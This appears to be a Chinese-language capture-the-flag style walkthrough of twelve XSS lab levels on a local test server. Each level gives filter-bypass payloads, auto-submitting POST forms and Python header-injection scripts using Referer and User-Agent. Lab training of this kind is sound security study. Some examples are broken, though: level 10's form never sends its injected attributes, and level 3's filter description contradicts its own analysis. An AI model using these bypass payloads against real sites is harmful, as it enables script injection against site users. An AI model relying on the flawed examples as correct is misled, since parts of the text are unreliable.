本解析针对 XSS 经典 12 关闯关场景,覆盖反射型(GET/POST)、存储型、DOM 型 等核心类型,每关均包含「关卡场景」「过滤规则分析」「绕过思路推导」「完整代码示例(含 POST 请求)」「通关验证」5 个核心模块,所有代码均可直接复用,适配主流 XSS 靶场(如皮卡丘、XSS Challenges 等)。

通用前置准备

  1. 环境要求:搭建 PHP+MySQL 靶场环境(推荐 PHPStudy),确保靶场公网 / 本地可访问;
  2. 工具准备:浏览器(Chrome/Firefox)、Burp Suite(抓包 / 编码)、EditThisCookie 插件(Cookie 验证);
  3. 核心验证脚本:所有关卡最终需执行 alert(document.domain) 弹框,验证通关。

第 1 关:反射型 GET(无过滤)

一、关卡场景

搜索框输入内容后,内容通过 URL GET 参数传递,直接回显在页面<p>标签内,无任何过滤措施。

二、过滤规则分析

  • 输入特殊字符(<>'"111)提交后,页面源码中特殊字符完整保留,无转义 / 删除;
  • 输入<script>alert(1)</script>,脚本可直接执行。

三、绕过思路推导

无需绕过,直接构造标准 XSS 脚本即可,若输入框有长度限制(如maxlength=20),需先修改长度限制。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

<script>alert(document.domain)</script>
2. POST 请求(模拟表单提交)

html

预览

<!-- 保存为xss_post_1.html,双击打开自动提交 -->
<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level1.php">
<input type="hidden" name="message" value="<script>alert(document.domain)</script>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

提交后弹出当前域名(如127.0.0.1),页面显示 “恭喜进入下一关”。


第 2 关:反射型 GET(过滤<script>标签)

一、关卡场景

输入<script>标签会被过滤(直接删除),但其他标签事件(如onclick)未被过滤,内容回显在<input>标签的value属性中。

二、过滤规则分析

  • 输入<script>alert(1)</script>,源码中仅剩alert(1)<script>标签被删除;
  • 输入<img src=x onerror=alert(1)>,特殊字符(<>=)未被过滤。

三、绕过思路推导

  1. 放弃<script>标签,改用HTML 事件标签(如imgadiv);
  2. 利用onerror/onclick等事件触发 JS 代码,避开<script>过滤。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

<img src=x onerror=alert(document.domain)>
2. POST 请求(表单提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level2.php">
<input type="hidden" name="message" value="<img src=x onerror=alert(document.domain)>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

提交后页面加载时触发img标签onerror事件,弹出域名弹框。


第 3 关:反射型 GET(过滤<script>和事件关键字)

一、关卡场景

过滤<script>标签及on开头的事件关键字(如onclickonerror),内容回显在<input>标签value属性中,且对<>进行了实体编码(<&lt;>&gt;)。

二、过滤规则分析

  • 输入<img src=x onerror=alert(1)>,源码中onerror被删除,仅剩<img src=x =alert(1)>
  • 输入' onclick='alert(1)',单引号未被过滤,可闭合value属性。

三、绕过思路推导

  1. 利用单引号闭合<input>标签的value属性;
  2. 添加onclick事件(需点击触发),避开直接过滤(因闭合后事件属于新属性,过滤规则未覆盖)。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

' onclick='alert(document.domain)'
2. POST 请求(表单提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level3.php">
<input type="hidden" name="message" value="' onclick='alert(document.domain)'">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

提交后点击页面中的输入框区域,触发onclick事件,弹出域名弹框。


第 4 关:反射型 GET(过滤<script>和单双引号)

一、关卡场景

过滤<script>标签、单引号(')和双引号("),内容回显在<input>标签value属性中,<>未被编码。

二、过滤规则分析

  • 输入' onclick='alert(1)',单引号被删除,仅剩 onclick=alert(1)
  • 输入<img src=x onerror=alert(1)>onerror未被过滤(仅过滤<script>和引号)。

三、绕过思路推导

  1. 放弃引号闭合,直接使用无引号的img标签onerror事件;
  2. JS 代码中使用数字编码(如alert(1)无需引号),避开引号依赖。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

<img src=x onerror=alert(document.domain)>
2. POST 请求(表单提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level4.php">
<input type="hidden" name="message" value="<img src=x onerror=alert(document.domain)>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

页面加载时img标签加载失败,触发onerror事件,弹出域名弹框。


第 5 关:存储型 XSS(留言板,过滤<script>)

一、关卡场景

留言板输入内容被存储到数据库,永久回显在页面中,过滤<script>标签,但允许其他标签和事件。

二、过滤规则分析

  • 输入<script>alert(1)</script>,源码中<script>被删除,仅剩alert(1)
  • 输入<a href=javascript:alert(1)>点击</a>,所有字符保留,无过滤。

三、绕过思路推导

  1. 利用javascript:伪协议替代<script>标签;
  2. 构造a标签,点击触发 JS 代码,适配存储型场景(永久生效)。

四、完整代码示例

1. 直接输入(留言板)

html

预览

<a href=javascript:alert(document.domain)>点击通关</a>
2. POST 请求(模拟留言提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level5.php">
<input type="hidden" name="username" value="test">
<input type="hidden" name="content" value="<a href=javascript:alert(document.domain)>点击通关</a>">
<input type="hidden" name="submit" value="提交留言">
</form>
</body>
</html>

五、通关验证

提交后留言板显示 “点击通关” 链接,点击后弹出域名弹框;退出登录重新访问,链接仍存在,验证存储型特性。


第 6 关:反射型 GET(大小写过滤)

一、关卡场景

仅过滤小写<script>标签和on事件关键字,未区分大小写,内容回显在页面<div>标签内。

二、过滤规则分析

  • 输入<script>alert(1)</script>,小写<script>被删除;
  • 输入<Script>alert(1)</Script>,混合大小写标签完整保留。

三、绕过思路推导

  1. 利用 HTML 标签 / JS 关键字不区分大小写的特性;
  2. 构造混合大小写的<script>标签,避开小写过滤规则。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

<ScRiPt>alert(document.domain)</ScRiPt>
2. POST 请求(表单提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level6.php">
<input type="hidden" name="message" value="<ScRiPt>alert(document.domain)</ScRiPt>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

提交后混合大小写的<script>标签被解析执行,弹出域名弹框。


第 7 关:反射型 GET(双写关键字过滤)

一、关卡场景

删除scripton关键字(仅删除一次),内容回显在页面<p>标签内,无其他过滤。

二、过滤规则分析

  • 输入<script>alert(1)</script>script被删除,仅剩<alert(1)>
  • 输入<scrscriptipt>alert(1)</scrscriptipt>,删除中间script后恢复为<script>alert(1)</script>

三、绕过思路推导

  1. 利用 “仅删除一次关键字” 的漏洞,双写script/on关键字;
  2. 过滤后剩余完整关键字,触发 JS 执行。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

<scrscriptipt>alert(document.domain)</scrscriptipt>
2. POST 请求(表单提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level7.php">
<input type="hidden" name="message" value="<scrscriptipt>alert(document.domain)</scrscriptipt>">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

提交后双写的script被过滤一次,恢复为标准<script>标签,弹出域名弹框。


第 8 关:反射型 GET(编码过滤)

一、关卡场景

过滤特殊字符(<>'"),但允许 URL/HTML 实体编码后的字符,内容回显在<a>标签href属性中。

二、过滤规则分析

  • 输入<script>alert(1)</script>,特殊字符被删除;
  • 输入javascript:alert(document.domain)的 HTML 实体编码,被正常解析。

三、绕过思路推导

  1. javascript:伪协议进行 HTML 实体编码;
  2. 利用浏览器自动解码特性,执行编码后的 JS 代码。

四、完整代码示例

1. GET 请求(直接输入编码后内容)

html

预览

javascript:alert(document.domain)
<!-- 编码后:&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;&#41; -->
2. POST 请求(表单提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level8.php">
<input type="hidden" name="message" value="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;&#41;">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

点击页面中的a标签链接,编码内容被解码执行,弹出域名弹框。


第 9 关:DOM 型 XSS(无服务器交互)

一、关卡场景

输入内容通过前端 JS 写入<a>标签href属性,无服务器交互,过滤javascript:关键字(检测是否包含http://)。

二、过滤规则分析

  • 输入javascript:alert(1),因无http://被判定为非法,内容被清空;
  • 输入javascript:alert(1)//http:////注释掉后续内容,同时满足http://检测条件。

三、绕过思路推导

  1. 利用 JS 注释(//)添加http://,满足过滤的合法性检测;
  2. 注释后的http://不影响javascript:伪协议执行。

四、完整代码示例

1. GET 请求(直接输入)

html

预览

javascript:alert(document.domain)//http://
2. POST 请求(模拟提交)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level9.php">
<input type="hidden" name="message" value="javascript:alert(document.domain)//http://">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

点击a标签链接,javascript:伪协议执行,//注释掉http://,弹出域名弹框。


第 10 关:反射型 POST(隐藏输入框,过滤事件)

一、关卡场景

输入内容被写入隐藏<input>标签(type="hidden"),过滤on事件关键字,仅允许value属性。

二、过滤规则分析

  • 输入onclick=alert(1)on被删除;
  • 输入type="text" onclick="alert(1)",可修改input标签类型,显示并添加事件。

三、绕过思路推导

  1. 闭合隐藏input标签的type属性,修改为可见的text类型;
  2. 添加onclick事件,点击触发代码执行。

四、完整代码示例

1. POST 请求(表单提交,核心代码)

html

预览

<html>
<body onload="document.form1.submit()">
<form name="form1" method="post" action="http://127.0.0.1/xss/level10.php">
<input type="hidden" name="t_link" value="">
<input type="hidden" name="t_history" value="">
<input type="hidden" name="t_sort" value="123" type="text" onclick="alert(document.domain)">
<input type="hidden" name="submit" value="提交">
</form>
</body>
</html>

五、通关验证

提交后页面显示修改后的input文本框,点击后触发onclick事件,弹出域名弹框。


第 11 关:反射型 POST(Referer 头注入)

一、关卡场景

过滤 URL / 表单输入,但未过滤 HTTP 请求头中的Referer字段,内容回显在页面中。

二、过滤规则分析

  • 表单输入任何 XSS 代码均被过滤;
  • Referer头中的内容直接回显,无过滤。

三、绕过思路推导

  1. 放弃表单输入,通过 Burp Suite 修改 POST 请求的Referer头;
  2. Referer头中注入 XSS 脚本,利用未过滤的特性执行。

四、完整代码示例

1. Burp Suite 修改 POST 请求(核心请求头)

http

POST /xss/level11.php HTTP/1.1
Host: 127.0.0.1
Referer: <script>alert(document.domain)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

message=test&submit=提交
2. 自动化 POST 请求(Python 代码)

python

运行

import requests

url = "http://127.0.0.1/xss/level11.php"
headers = {
    "Referer": "<script>alert(document.domain)</script>",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = {
    "message": "test",
    "submit": "提交"
}
response = requests.post(url, headers=headers, data=data)
print(response.text)

五、通关验证

请求发送后,页面解析Referer头中的<script>标签,弹出域名弹框。


第 12 关:反射型 POST(User-Agent 头注入)

一、关卡场景

过滤表单输入和Referer头,未过滤User-Agent请求头,内容回显在页面中。

二、过滤规则分析

  • Referer头注入被过滤,User-Agent头内容直接回显;
  • 无特殊字符过滤,支持所有 XSS 脚本。

三、绕过思路推导

  1. 修改 POST 请求的User-Agent头,注入 XSS 脚本;
  2. 利用浏览器 / 工具自定义请求头,避开表单输入过滤。

四、完整代码示例

1. Burp Suite 修改 POST 请求(核心请求头)

http

POST /xss/level12.php HTTP/1.1
Host: 127.0.0.1
User-Agent: <img src=x onerror=alert(document.domain)>
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

message=test&submit=提交
2. 自动化 POST 请求(Python 代码)

python

运行

import requests

url = "http://127.0.0.1/xss/level12.php"
headers = {
    "User-Agent": "<img src=x onerror=alert(document.domain)>",
    "Content-Type": "application/x-www-form-urlencoded"
}
data = {
    "message": "test",
    "submit": "提交"
}
response = requests.post(url, headers=headers, data=data)
print(response.text)

五、通关验证

请求发送后,页面解析User-Agent头中的img标签,触发onerror事件,弹出域名弹框。


核心总结

1. 过滤规则应对策略

表格

过滤类型 核心绕过方法 典型示例
过滤<script> 改用img/onerrora/javascript <img src=x onerror=alert(1)>
过滤大小写 混合大小写关键字 <ScRiPt>alert(1)</ScRiPt>
过滤单双引号 无引号事件 / 数字编码 <img src=x onerror=alert(1)>
过滤关键字(单次删除) 双写关键字 <scrscriptipt>alert(1)</scrscriptipt>
请求头过滤 注入Referer/User-Agent User-Agent: <script>alert(1)</script>

2. POST 请求核心要点

  • 表单提交需匹配靶场的action地址和参数名(如messagesubmit);
  • 请求头注入需通过 Burp/Python 等工具修改,普通表单无法直接提交;
  • 存储型 POST 需包含业务参数(如usernamecontent),模拟真实留言 / 注册场景。

3. 通关通用技巧

  1. 优先判断输出位置(标签内 / 属性内 / 请求头),匹配对应绕过方式;
  2. 测试过滤规则时,先输入<>'"111定位过滤范围;
  3. DOM 型 XSS 需查看前端 JS 源码,找到 DOM 操作的输入输出点。
Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐